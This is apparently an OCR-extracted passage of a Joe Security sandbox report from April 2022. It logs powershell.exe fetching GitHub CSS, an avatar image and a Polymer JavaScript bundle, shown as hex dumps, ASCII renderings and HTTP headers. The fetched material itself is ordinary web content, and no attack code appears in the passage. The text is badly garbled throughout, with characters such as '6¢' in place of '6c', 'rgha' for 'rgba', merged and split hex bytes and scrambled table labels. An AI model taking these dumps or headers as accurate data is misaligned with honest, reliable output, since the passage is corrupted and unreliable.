Data Raw: 2d 63 68 65 63 6b 73 2d 73 74 65 70 2d 77 61 72 6e 69 6e 67 2d 74 65 78 74 3a 20 23 64 32 39 39 32 32 3b
2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 74 65 78 74 3a 20 23 38 62 39 34 39 65 3b 2d 2d
63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6 65 2d 6e 75 6d 2d 74 65 78 74 3a 20 23 36 65 37 36 38 31 3b 2d
2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢C 69 6€ 65 2d 64 65 62 75 67 2d 74 65 78 74 3a 20 23 61 33 37 31 66
37 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 65 72 72 6f 72 2d 74 65 78 74 3a 20 23 38 62
39 34 39 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6€ 65 2d 65 72 72 6f 72 2d 6e 75 6d 2d 74 65
78 74 3a 20 23 36 65 37 36 38 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 63

Data Ascii: -checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e
7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-
num-text: #6e7681;--color-c

Data Raw: 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 6f 75 74 6¢ 69 6e 65 3a 20 72 67 62 28 32 35 35 20 32
3535 20 32 35 35 20 2f 20 32 35 25 29 20 30 20 30 20 30 20 31 70 78 20 69 6e 73 65 74 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d
6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 20 72 67 62 28 32 35 35 20 32 35 35 20 32 35 35 20 2f
20 32 35 25 29 20 30 20 30 20 30 20 34 70 78 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2
d 68 6f 76 65 72 3a 20 30 20 34 70 78 20 37 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 35 29 2¢ 20
302031303070 7820383070 782072676261 28 3235 35 2c 20 32 35 35 2¢ 20 32 35 35 2¢ 20 30 2e 30 32 29 2¢
20302034 32707820 3333707820 72676261 28 32 35 35 2c 20 32

Data Ascii: r-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgh(255 255
255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.0
2), 0 42px 33px rgba(255, 2

Data Raw: 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 62 6¢ 61 63 6b 2d 62 72 69 67 68 74 3a 20 23 36 65 37 36 38 31 3b 2d
2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 77 68 69 74 65 3a 20 23 62 31 62 61 63 34 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d
77 68 69 74 65 2d 62 72 69 67 68 74 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 67 72 61 79
3a 2023 36 65 37 36 38 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 72 65 64 3a 20 23 66 66 37 62 37 32 3b 2d 2d 63
6f 6¢ 6f 72 2d 61 6e 73 69 2d 72 65 64 2d 62 72 69 67 68 74 3a 20 23 66 66 61 31 39 38 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e
73 69 2d 67 72 65 65 6e 3a 20 23 33 66 62 39 35 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 67 72 65 65 6e 2d 62 72 6
9 67 68 74 3a 20 23 35 36 64 33 36 34 3b 2d 2d 63 6f 6¢ 6f 72 2d

Data Ascii: --color-ansi-black-bright: #6e7681;--color-ansi-white: #b1lbac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray:
#6€e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright:
#56d364;--color-

Data Raw: 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 3a 20 72 67
62 61 28 32 34 30 2c 32 34 36 2c 32 35 32 2¢ 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79
2d 73 65 6¢ 65 63 74 65 64 2d 62 67 3a 20 23 32 33 38 36 33 36 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61
7279 2d 73 65 6¢ 65 63 74 65 64 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 74 72 61 6e 73 70 61 72 65 6€ 74 3b 2d 2d 63
6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 64 69 73 61 62 6¢ 65 64 2d 74 65 78 74 3a 20 72 67 62 61 28 32 35
35 2¢ 32 35 35 2¢ 32 35 35 2¢ 30 2e 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 64 69 73 61
62 6¢ 65 64 2d 62 67 3a 20 72 67 62 61 28 33 35 2c 31 33 34 2¢ 35 34 2¢

Data Ascii: --color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-
primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgha(255,255,255,0.5);--color-btn-primary-d
isabled-bg: rgha(35,134,54,

Data Raw: 30 20 33 70 78 20 72 67 62 61 28 31 37 2c 38 38 2c 31 39 39 2c 30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74
6e 2d 6f 75 74 6¢ 69 6e 65 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67 62 61 28 33 31 2¢ 31 31 31 2¢ 32 33 35 2¢ 30
2e 3129 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 74 65 78 74 3a 20 23 66 38 35 31 34 39 3b 2d 2d
63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 74 65 78 74 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63
6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 62 67 3a 20 23 64 61 33 36 33 33 3b 2d 2d 63 6f 6¢ 6f
72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 3a 20 23 66 38 35 31 34 39 3b 2d 2d 63 6f 6
¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 73

Data Ascii: 0 3px rgha(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #85
149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--
color-btn-danger-hover-s
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Timestam
P transferred

2022-04-20 13:07:36 UTC 310

2022-04-20 13:07:36 UTC 311

2022-04-20 13:07:36 UTC 313

2022-04-20 13:07:36 UTC 314

2022-04-20 13:07:36 UTC 315

Session ID Source IP
30 192.168.2.4
. kBytes
Timestam,
! P transferred

2022-04-20 13:07:37 UTC 1268

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49784

Direction

ouT

Data

Data Raw: 2c¢ 30 2c¢ 30 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 64 65 66 61 75
6¢ 74 2d 61 63 74 69 76 65 2d 62 67 3a 20 72 67 62 61 28 31 37 37 2¢ 31 38 36 2¢ 31 39 36 2c 30 2e 32 29 3b 2d 2d 63
6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 64 65 66 61 75 6¢ 74 2d 61 63 74 69 76 65 2d 62 6f 72
64 6572 3a 20 72 67 62 61 28 30 2¢ 30 2c 30 2c 30 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69
74 65 6d 2d 64 65 66 61 75 6¢ 74 2d 73 65 6C 65 63 74 65 64 2d 62 67 3a 20 72 67 62 61 28 31 37 37 2¢ 31 38 36 2¢ 31
39 36 2c 30 2e 30 38 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 64 61 6e 67 65 72
2d 68 6f 76 65 72 2d 62 67 3a 20 72 67 62 61 28 32 34 38 2c 38

Data Ascii: ,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-
border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgha(177,186,196,0.08);--color-action-list-item-danger-
hover-bg: rgha(248,8

Data Raw: 31 30 2c 31 31 38 2c 31 32 39 2c 30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 6e 65 75 74 72 61 6¢ 2d 73 75 62 74
6c 65 3a 20 72 67 62 61 28 31 31 30 2c 31 31 38 2¢ 31 32 39 2c 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63 65 6e
74 2d 66 67 3a 20 23 35 38 61 36 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63 65 6e 74 2d 65 6d 70 68 61 73 69 73 3a 20
23 31 66 36 66 65 62 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63 65 6e 74 2d 6d 75 74 65 64 3a 20 72 67 62 61 28 35 36 2¢c 31 3
339 2c 323533 2c 30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63 65 6e 74 2d 73 75 62 74 6¢ 65 3a 20 72 67 62 61 28
3536 2c 31 33 39 2¢ 32 35 33 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 66 67 3a 20 23 33
66 62 39 35 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 65

Data Ascii: 10,118,129,0.4);--color-neutral-subtle: rgha(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emph
asis: #1f6feb;--color-accent-muted: rgha(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg:
#3fb950;--color-success-e

Data Raw: 31 39 2c 39 37 2c 31 36 32 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 66 67 2d 64 69
73 61 62 6¢ 65 64 3a 20 23 34 38 34 66 35 38 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 63 61 6e 76 61 73 2d 62
61 63 6b 64 72 6f 70 3a 20 72 67 62 61 28 31 2c 34 2c 39 2c 30 2e 38 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d
63 61 6e 76 61 73 2d 73 74 69 63 6b 79 3a 20 72 67 62 61 28 31 33 2c 31 37 2c¢ 32 33 2¢ 30 2e 39 35 29 3b 2d 2d 63 6f
6c 6f 72 2d 70 72 69 6d 65 72 2d 62 6 72 64 65 72 2d 61 63 74 69 76 65 3a 20 23 46 37 38 31 36 36 3b 2d 2d 63 6f 6c 6f
72 2d 70 72 69 6d 65 72 2d 62 6f 72 64 65 72 2d 63 6f 6e 74 72 61 73 74 3a 20 72 67 62 61 28 32 35 35 2¢ 32 35 35 2¢ 3
235 35 2c 30 2e 32 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65

Data Ascii: 19,97,162,0.15);--color-primer-fg-disabled: #484{58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-
primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255
,255,255,0.2);--color-prime

Data Raw: 65 33 61 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 79 65 6¢ 6¢ 6f 77 2d 31 3a 20 23 66 32 63 63 36 30
3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 79 65 6¢ 6¢ 6f 77 2d 32 3a 20 23 65 33 62 33 34 31 3b 2d 2d 63 6f 6¢ 6f 72
2d 73 63 61 6¢ 65 2d 79 65 6¢ 6¢ 6f 77 2d 33 3a 20 23 64 32 39 39 32 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6C 65 2d 79
65 6¢ 6¢ 6f 77 2d 34 3a 20 23 62 62 38 30 30 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 79 65 6¢ 6¢C 6f 77 2d 35 3a
202339 65 36 61 30 33 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 79 65 6¢ 6¢ 6f 77 2d 36 3a 20 23 38 34 35 33 30 36
3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 79 65 6¢ 6¢ 6f 77 2d 37 3a 20 23 36 39 33 65 30 30 3b 2d 2d 63 6f 6¢ 6f 72
2d 73 63 61 6¢ 65 2d 79 65 6¢C 6¢ 6f 77 2d 38 3a 20 23 34

Data Ascii: e3al;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-
scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;-
-color-scale-yellow-8: #4

Data Raw: 6f 72 2d 73 63 61 6¢ 65 2d 70 69 6e 6b 2d 35 3a 20 23 62 66 34 62 38 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61
6c 65 2d 70 69 6e 6b 2d 36 3a 20 23 39 65 33 36 37 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 69 6e 6b 2d 37
3a 2023 37 64 32 34 35 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 69 6e 6b 2d 38 3a 20 23 35 65 31 30 33 65
3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 69 6e 6b 2d 39 3a 20 23 34 32 30 36 32 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 73
63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 30 3a 20 23 46 46 44 44 44 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61
6c 2d 31 3a 20 23 46 46 43 32 42 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 32 3a 20 23 46 46 41
323842 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72

Data Ascii: or-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #
5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2:
#FFA28B;--color-scale-cor

Destination
Destination IP Esunatio Process
Port

185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /hashicorp?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1269

2022-04-20 13:07:37 UTC 1269

Session ID Source IP
31 192.168.2.4
. kBytes
Timestam|
P transferred

2022-04-20 13:07:37 UTC 1268

2022-04-20 13:07:37 UTC 1271

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49785

Direction

ouT

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 1134

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/png

ETag: "e8d84234dad0dce460202b6d0a04blafodd1bcd16979369f474234c235b7a658"
Last-Modified: Mon, 08 Feb 2021 19:44:35 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com

X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-Id: 85A4:10AE3:37390D:44B3B0:624268FF
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6942-MXP

X-Cache: HIT

X-Cache-Hits: 35

X-Timer: S1650460057.304943,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 341f18d225138fb3755b48127deedaef86824e69
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 1940633

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 02 00 00 00 25 Ob e6 89 00 00
04 3549 44 41 54 78 9c ec 9a 4b 48 3a 5f 1b ¢7 67 6a 22 54 ba 11 16 94 48 22 04 42 51 60 42 45 b8 90 08 69 d1 26 2a
92 a2 cb 2e a4 85 05 ad 4a 45 08 db 14 b5 28 5a 24 2d 0a 22 a9 5¢ b4 a8 85 2d 5c b4 e8 4e 29 b4 68 61 45 4a 10 22 d6
98 a6 34 bd 8b 79 89 3f 36 a3 67 6 1c 9b 5f e0 77 €9 99 79 e ef 67 ce c5 67 e6 1c e2 eb eb Ob fb cb ca 13 da 00 ac 72
00 42 2b 07 f0 43 37 37 37 6¢ 4d d7 d7 d7 c¢8 d3 61 5f €8 74 7b 7b db d9 d9 a9 d1 68 d8 2e 90 c9 64 bd bd bd 7e bf 1f 61
52 3400 el 70 d8 64 32 15 14 14 60 18 96 1e 00 c3 30 91 48 64 36 9b 49 92 44 92 1a 16 20 le 8f 2f 2e 2e 4a a5 d2 ef 2e

cd 08 40 4b 26 93 39 1c 8e 64 32 09 69 00 Oa cO e5 72 29 95 ca 94

Data Ascii: PNGIHDR@@%5IDATXKH:_gj'TH"BQ BEi&* JE(Z$-"\\N)haEJ"4y?6g_wyggrB+C777IMa_t{{h.d~aR4pd2'0

Hd6ID /..J.@K&9d2ir)

Destination IP CEULCRIE Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /assets/5388-1dbfldebd575.js HTTP/1.1
Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET

CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 16942
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000
Last-Modified: Wed, 30 Mar 2022 04:02:17 GMT
ETag: "69191d8774558b45c71af6f6289edcdc”
Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 1846929

X-Served-By: cache-iad-kcgs7200045-IAD, cache-mxp6941-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 645

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding

Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: b1720266fe280270e4b92abf3762b5a779cf8c85
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:37 UTC 1271 IN
2022-04-20 13:07:37 UTC 1273 IN
2022-04-20 13:07:37 UTC 1274 IN
2022-04-20 13:07:37 UTC 1275 IN
2022-04-20 13:07:37 UTC 1277 IN
2022-04-20 13:07:37 UTC 1278 IN
2022-04-20 13:07:37 UTC 1279 IN
2022-04-20 13:07:37 UTC 1281 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 4f 3d 4f 62 6a 65 63 74 2e 64 65 66 69
6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 70 3d 28 4d 2c 4e 29 3d 3e 4f 28 4d 2c 22 6e 61 6d 65 22 2c 7b 76 61 6¢
75 65 3a 4e 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70
61 63 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6¢ 54 68 69 73 2 77 65 62 70 61 63 6b 43 68 75 6€ 6b 7c 7c 5b 5d 29 2e 70 7
573 68 28 5b 5b 35 33 38 38 5d 2¢ 7b 31 33 36 39 35 3a 28 4d 2c 4e 2c 6¢ 29 3d 3e 7b 6¢ 2e 64 28 4e 2c 7b 58 3a 28 29
3d 3e 76 2c 77 3a 28 29 3d 3e 75 7d 29 3b 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 0a 20 2a 20 43 6f 70 79 72 69
67 68 74 20 28 63 29 20 32 30 31 37 20 54 68 65 20 50 6f 6¢ 79 6d 65

Data Ascii: "use strict";(()=>{var O=Object.defineProperty;var p=(M,N)=>0(M,"name" ,{value:N,configurable:!0});(global Thi
s.webpackChunk=globalThis.webpackChunk||[]).push([[5388],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** * @license *
Copyright (c) 2017 The Polyme

Data Raw: 6a 65 63 74 20 69 73 20 61 6¢ 73 6f 0a 20 2a 20 73 75 62 6a 65 63 74 20 74 6f 20 61 6e 20 61 64 64 69 74 69
6f 6e 61 6¢ 20 49 50 20 72 69 67 68 74 73 20 67 72 61 6e 74 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f
70 6f 6¢ 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 50 41 54 45 4e 54 53 2e 74 78 74 0a 20 2a 2f 63 6f 6e 73 74 20 61
3d 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6¢ 65 6d 65 6e 74 73 21 3d 3d 76 6f 69 64 20 30 26 26 77 69 6e 64 6f 77 2e
63 75 73 74 6f 6d 45 6¢ 65 6d 65 6e 74 73 2e 70 6f 6¢ 79 66 69 6¢ 6¢ 57 72 61 70 46 6¢ 75 73 68 43 61 6C 6C 62 61 63
6b 21 3d 3d 76 6f 69 64 20 30 2c 76 3d 70 28 28 5f 2¢c 63 2c 68 3d 6e 75 6¢ 6¢ 2c 72 3d 6e 75 6¢ 6¢ 29 3d 3e 7h 66 6f 72
28 3b 63 21 3d 3d 68 3b 29 7b 63 6f 6e 73 74 20 64 3d 63 2e

Data Ascii: ject is also * subject to an additional IP rights grant found at * http://polymer.github.io/PATENTS.txt */const
a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null
,r=null)=>{for(;c!==h;){const d=c.

Data Raw: 20 61 75 74 68 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 Oa 20 2a 20 68 74 74 70 3a 2f 2f 70
6f 6¢ 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 41 55 54 48 4f 52 53 2e 74 78 74 Oa 20 2a 20 54 68 65 20 63 6f 6d 70
6c 65 74 65 20 73 65 74 20 6f 66 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6 64 20 61 74
0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6¢ 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 43 4f 4e 54 52 49 42 55 54 4f 52
53 2e 74 78 74 0a 20 2a 20 43 6f 64 65 20 64 69 73 74 72 69 62 75 74 65 64 20 62 79 20 47 6f 6 67 6¢ 65 20 61 73 20 70
6172 74 20 6f 66 20 74 68 65 20 70 6f 6¢ 79 6d 65 72 20 70 72 6f 6a 65 63 74 20 69 73 20 61 6¢ 73 6f 0a 20 2a 20 73 75
62 6a 65 63 74 20 74 6f 20 61 6e 20 61 64 64 69 74 69 6f

Data Ascii: authors may be found at * http://polymer.github.io/AUTHORS.txt * The complete set of contributors may be fo
und at * http://polymer.github.io/CONTRIBUTORS.txt * Code distributed by Google as part of the polymer project is also *
subject to an additio

Data Raw: 6f 69 64 20 30 2c 74 68 69 73 2e 5f 5f 70 65 6e 64 69 6e 67 56 61 6¢ 75 65 3d 76 6f 69 64 20 30 2c 74 68 69
73 2e 6f 70 74 69 6f 6e 73 3d 74 7d 61 70 70 65 6e 64 49 6e 74 6f 28 74 29 7b 74 68 69 73 2e 73 74 61 72 74 4e 6f 64 65
3d 74 2e 61 70 70 65 6e 64 43 68 69 6¢ 64 28 28 30 2c 68 2e 49 57 29 28 29 29 2c 74 68 69 73 2e 65 6e 64 4e 6f 64 65
3d 74 2e 61 70 70 65 6e 64 43 68 69 6¢ 64 28 28 30 2c 68 2e 49 57 29 28 29 29 7d 69 6e 73 65 72 74 41 66 74 65 72 4e
6f 64 65 28 74 29 7b 74 68 69 73 2e 73 74 61 72 74 4e 6f 64 65 3d 74 2c 74 68 69 73 2e 65 6e 64 4e 6f 64 65 3d 74 2e 6
e 65 78 74 53 69 62 6¢ 69 6e 67 7d 61 70 70 65 6e 64 49 6e 74 6f 50 61 72 74 28 74 29 7b 74 2e 5f 5f 69 6e 73 65 72 74
2874 68 69 73 2e 73 74 61 72 74 4e 6f 64 65 3d 28 30 2c 68 2e 49

Data Ascii: oid 0,this.__pendingValue=void 0,this.options=t}appendinto(t){this.startNode=t.appendChild((0,h.IW)()),this.
endNode=t.appendChild((0,h.IW)())}insertAfterNode(t){this.startNode=t,this.endNode=t.nextSibling}appendintoPart(t){t.__i
nsert(this.startNode=(0,h.1

Data Raw: 74 65 28 74 2e 76 61 6¢ 75 65 73 29 2c 74 68 69 73 2e 5f 5f 63 6f 6d 6d 69 74 4e 6f 64 65 28 69 29 2c 74 68
69 73 2e 76 61 6¢ 75 65 3d 65 7d 7d 5f 5f 63 6f 6d 6d 69 74 49 74 65 72 61 62 6¢ 65 28 74 29 7Th 41 72 72 61 79 2e 69 73
41727261 7928746869 73 2e 76 61 6¢ 75 65 29 7c 7c 28 74 68 69 73 2e 76 61 6¢ 75 65 3d 5b 5d 2c 74 68 69 73 2e
63 6¢ 65 61 72 28 29 29 3b 63 6f 6 73 74 20 6e 3d 74 68 69 73 2e 76 61 6¢ 75 65 3b 6¢ 65 74 20 65 3d 30 2c 69 3b 66
6f 72 28 63 6f 6e 73 74 20 56 20 6f 66 20 74 29 69 3d 6e 5b 65 5d 2c 69 3d 3d 3d 76 6f 69 64 20 30 26 26 28 69 3d 6e 65
77 20 6d 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 29 2c 6e 2e 70 75 73 68 28 69 29 2c 65 3d 3d 3d 30 3f 69 2e 61 70 70 65
6e 64 49 6e 74 6f 50 61 72 74 28 74 68 69 73 29 3a 69 2e 69 6e

Data Ascii: te(t.values),this.__commitNode(i),this.value=e}} __commititerable(t){Array.isArray(this.value)||(this.value=[
],this.clear());const n=this.value;let e=0,i;for(const V of t)i=n[e],i===void 0&&(i=new m(this.options),n.push(i),e===0?
i.appendintoPart(this):i.in

Data Raw: 67 7b 7d 70 28 41 2c 22 50 72 6f 70 65 72 74 79 50 61 72 74 22 29 3b 6¢ 65 74 20 43 3d 21 31 3b 74 72 79
7b 63 6f 6e 73 74 20 73 3d 7b 67 65 74 20 63 61 70 74 75 72 65 28 29 7b 72 65 74 75 72 6e 20 43 3d 21 30 2c 21 31 7d
7d 3b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2¢ 732c 7329 2c 77 6
9 6e 64 6f 77 2e 72 65 6d 6f 76 65 45 76 65 6€ 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2¢c 73 2¢ 73 29 7d 63 61
74 6368 7b 7d 63 6¢ 61 73 73 20 45 7h 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 6e 2c 65 29 7b 74 68 69 73 2e 76 61
6¢ 75 65 3d 76 6f 69 64 20 30 2c 74 68 69 73 2e 5f 5f 70 65 6e 64 69 6e 67 56 61 6¢ 75 65 3d 76 6f 69 64 20 30 2c 74 68
69 73 2e 65 6¢ 65 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 65 76 65 6e 74

Data Ascii: g{}p(A,"PropertyPart");let C=!1;try{const s={get capture(){return C=!0,!1}};window.addEventListener(“test",s
